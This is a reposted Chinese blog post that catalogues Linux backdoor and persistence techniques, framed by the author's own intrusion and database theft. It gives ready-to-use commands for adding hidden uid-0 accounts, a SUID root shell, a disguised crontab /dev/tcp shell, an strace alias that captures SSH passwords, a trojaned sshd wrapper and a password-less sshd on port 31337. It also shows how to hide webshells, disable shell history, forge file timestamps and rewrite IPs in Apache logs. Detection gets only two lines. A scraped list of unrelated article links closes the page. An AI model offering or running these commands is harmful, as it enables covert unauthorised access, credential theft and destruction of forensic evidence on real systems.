转载自 https://evilanne.github.io/2017/08/26/Linux后门-持续关注/

在一次渗透中,成功获取某目标几台比较重要的机器,当时只想着获取脱库,结果动静太大被发现了,之前渗透并没太在意Linux后门,经过此次事后从Google找各种资料,一款满意的rootkit都没有,现在一至在关注这方面,有的话会继续更新

常用后门技术

  • 增加超级用户帐号
  • 破解/嗅控用户密码
  • 放置SUID Shell****
  • 利用系统服务程序
  • TCP/UDP/ICMP Shell
  • Crontab定时任务
  • 共享库文件
  • 工具包rootkit
  • 可装载内核模块(LKM)

增加超级用户

echo "Img:x:0:0::/:/bin/sh" >> /etc/passwd

如果系统不允许uid=0的用户远程登录, 还需要增加一个普通用户账号

echo "Img:x::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

无回显添加Linux密码:

  • /usr/sbin/useradd -u 0 -o -g root -G root -d /home/Img:x Img:x -p $1$F1B0hFxb$NkzreGE7srRJ**\/
  • useradd seradd -u 0 -o -g root -G roo1|| echo "123456" | passwd --stdin roo1
  • echo "123456\n123456" |(sudo passwd roo1)
  • useradd -u 0 -o -g root -G root user2 |echo -e "1qaz2wsx\n1qaz2wsx"|passwd user1

破解/嗅探用户密码

获得shadow文件后,用John the Ripper工具破解薄弱的用户密码。

嗅探工具,监听telnet、ftp等 端口,收集用户密码。

放置SUID Shell

(测试失败):bash2针对suid做了一些护卫措施

普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。

cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell

Crontab后门

(crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile –I;\rno crontab for `whoami`%100c\n")|crontab –

ssh 公钥免密

(容易被发现)

ssh-keygen -t rsa

id_rsa.pub写入服务端的authorized_keys

chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

alias 后门

当前用户目录下.bashrc

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

pam 后门 or openssh

最大问题是编译环境

SSH wrapper后门简介

cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

连接:

socat STDIO TCP4:target_ip:22,sourceport=13377

默认端口为13377否则会出现:

mafix rootkit

应用级rookit,主要替换ls、ps、netstat命令来隐藏文件

很多系统不被支持

http://www.tuicool.com/articles/eIv22az

利用系统服务程序

修改/etc/inetd.conf

daytime stream tcp nowait /bin/sh sh –I

trojan程序替换in.telnetd、in.rexecd等 inted的服务程序重定向login程序

TCP/UDP/ICMP Shell

BindShell,大部分是基于TCP/UDP协议 的网络服务程序,在高端口监听,很容易 被发现。

Ping Backdoor,通过ICMP包激活后门, 形成一个Shell通道。

TCP ACK数据包后门,能够穿越防火墙。

共享库文件

在共享库中嵌入后门函数

使用后门口令激活Shell,获得权限

能够躲避系统管理员对二进制文件本身的 校验

工具包rootkit

包含一系列系统及后门工具:

  • 清除日志中的登录记录
  • 伪装校验和
  • 替换netstat、ps等网络工具 – 后门登录程序易于安装和使用

可装载内核模块(LKM)

LKM:Loadable Kernel Modules

动态的加载,不需要重新编译内核。

截获系统调用,具有隐藏目录、文件、进 程、网络连接等强大功能。

自身隐蔽性好,发现难度较大。

著名的LKM包有adore和knark。

SSH后门

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337

执行完之后,任何一台机器ssh root@IP -p 31337不需要密码

后门的检测

使用Tripwire或md5校验来检查系统。

借助IDS系统,监听到目标机器的可疑网 络连接。

隐藏文件

Linux/Unix 藏文件和文件夹

Linux/Unix 下想藏 Webshell 或者后门什么的,可以利用一下隐藏文件夹和文件。

方法一

比如创建一个名字开头带 . 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a)

touch .webshell.php 创建名字为 .webshell.php 的文件

mkdir .backdoor/ 创建名字为 .backdoor 的文件夹

终极方法

在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。

是文件的话浏览器访问直接输 … 就行,目录同理。

touch … 创建名字为 … 的文件

mkdir … 创建名字为 … 的文件夹


清理

bash去掉history记录

export HISTSIZE=0 export HISTFILE=/dev/null

修改上传文件时间戳

touch -r 老文件时间戳 新文件时间戳

伪造Apache日志中的指定IP

sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/ access.log

sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/error_log

Linux后门的几种姿势的更多相关文章

  1. [转帖]新的Linux后门开始肆虐 主要攻击中国服务器

    新的Linux后门开始肆虐 主要攻击中国服务器 https://www.cnbeta.com/articles/tech/815639.htm 一种新的 Linux 系统后门已经开始肆虐,并主要运行在 ...

  2. [后渗透]Linux下的几种隐藏技术【转载】

    原作者:Bypass 原文链接:转自Bypass微信公众号 0x00 前言 攻击者在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本文介绍Linux下的几种隐藏技术. 0x01 隐藏文件 ...

  3. python HelloWorld 的 4 种姿势,你知道几种

    安装完 Python 之后该干啥,当然是要 say HelloWorld 了. python.exe 就是个普通程序 和其它所有命令一样,在命令行中敲下 python 并回车的时候,操作系统去 PAT ...

  4. [转载]Linux后门整理合集(脉搏推荐)

    我在思考要不要联系下....都禁止转载了.... 简介 利用 Unix/Linux 自带的 Bash 和 Crond 实现远控功能,保持反弹上线到公网机器. 利用方法 先创建 /etc/xxxx 脚本 ...

  5. 快速了解IOC的几种姿势

    一.首先我们了解IOC如何注入的几种姿势 构造函数注入(Constructor Injection) Ioc容器会智能的选择和调用合适的构造函数以创建依赖的对象.如果被选择的构造函数具有相应的参数,I ...

  6. 两个文件去重的N种姿势

    最近利用shell帮公司优化挖掘关键词的流程,用shell替代了多个环节的操作,极大提高了工作效率. shell在文本处理上确有极大优势,比如多文本合并.去重等,但是最近遇到了一个难搞的问题,即两个大 ...

  7. Linux中的两种守护进程stand alone和xinetd

    Linux中的两种守护进程stand alone和xinetd --http://www.cnblogs.com/itech/archive/2010/12/27/1914846.html#top 一 ...

  8. Linux 文件的几种类型

    文件的几种类型:    1.普通文件   普通文件就是一般意义上的文件,它们作为数据存储在系统磁盘中,可以随机访问文件的内容.Linux系统中的文件是面向字节的,文 件的内容以字节为单位进行存储与访问 ...

  9. linux安装IPython四种方法

    IPython是Python的交互式Shell,提供了代码自动补完,自动缩进,高亮显示,执行Shell命令等非常有用的特性.特别是它的代码补完功能,例如:在输入zlib.之后按下Tab键,IPytho ...

随机推荐

  1. vue学习笔记(四)事件处理器

    前言 在上一章vue学习笔记(三)class和style绑定的内容中,我们学习了如何在vue中绑定class和style,介绍了常用的绑定方法,class的数组绑定和对象绑定以及style的数组绑定和 ...

  2. [UWP]XAML中的响应式布局技术

    响应式布局的概念是一个页面适配多个终端及不同分辨率.在针对特定屏幕宽度优化应用 UI 时,我们将此称为创建响应式设计.WPF设计之初响应式设计的概念并不流行,那时候大部分网页设计师都按着宽度960像素 ...

  3. Java虚拟机详解(十一)------双亲委派模型

    在上一篇博客,我们介绍了类加载过程,包括5个阶段,分别是“加载”,“验证”,“准备”,“解析”,“初始化”,如下图所示: 本篇博客,我们来介绍Java虚拟机的双亲委派模型,在介绍之前,我先抛出一个问题 ...

  4. 大数据框架开发基础之Zookeeper入门

    Zookeeper是Hadoop分布式调度服务,用来构建分布式应用系统.构建一个分布式应用是一个很复杂的事情,主要的原因是我们需要合理有效的处理分布式集群中的部分失败的问题.例如,集群中的节点在相互通 ...

  5. JVM之GC(二)

    昨天总结了GC之前要做的事情,今天介绍一下主流的GC算法. 先介绍一下几个名词: Stop The World(STW):JVM进行GC的时候总不能一边清理垃圾一边制造垃圾把,那么垃圾鉴定的准确性根本 ...

  6. Ubuntu生成应用图标

    1.DeskTop Entry介绍 现代 Linux 桌面系统也提供了此项功能.目前,Linux KDE 和 Linux GNOME 桌面系统都使用 Desktop Entry 文件标准来描述程序启动 ...

  7. Hexo 中使用 emoji 和 tasks

    替换为 markdown-it 今天在迁移博客项目的时候,发现原来在 hugo 中可以使用的 Emoji 和 tasks 功能都不能正常使用了,查询了一下原因,主要是因为 hexo 默认的解析器是 h ...

  8. 网络、TCP协议与UDP协议

    1.网络模型 (1)什么是网络模型 网络编程的本质是两个设备之间的数据交换,当然,在计算机网络中,设备主要指计算机.数据传递本身没有多大的难度,不就是把一个设备中的数据发送给两外一个设备,然后接受另外 ...

  9. WingIDE注册破解方法 CalcActivationCode.py

    1) 安装WingIDE成功后启动,激活时输入license id CN123-12345-12345-12345 2) 点击Continue后弹框,拷贝框中的request code 3) 修改Py ...

  10. SSM框架整合中,不报错,数据库只能存ID进去问题解决

    嗯,这个错误其实不能算错误,是粗心造成的,在配置文件中对于传递的参数没有写#字符,直接写的的属性名.居然错了两次,哎!!! 嗯,还有一个问题,在动态SQL中,if标签中test属性中判断时,不能用大写 ...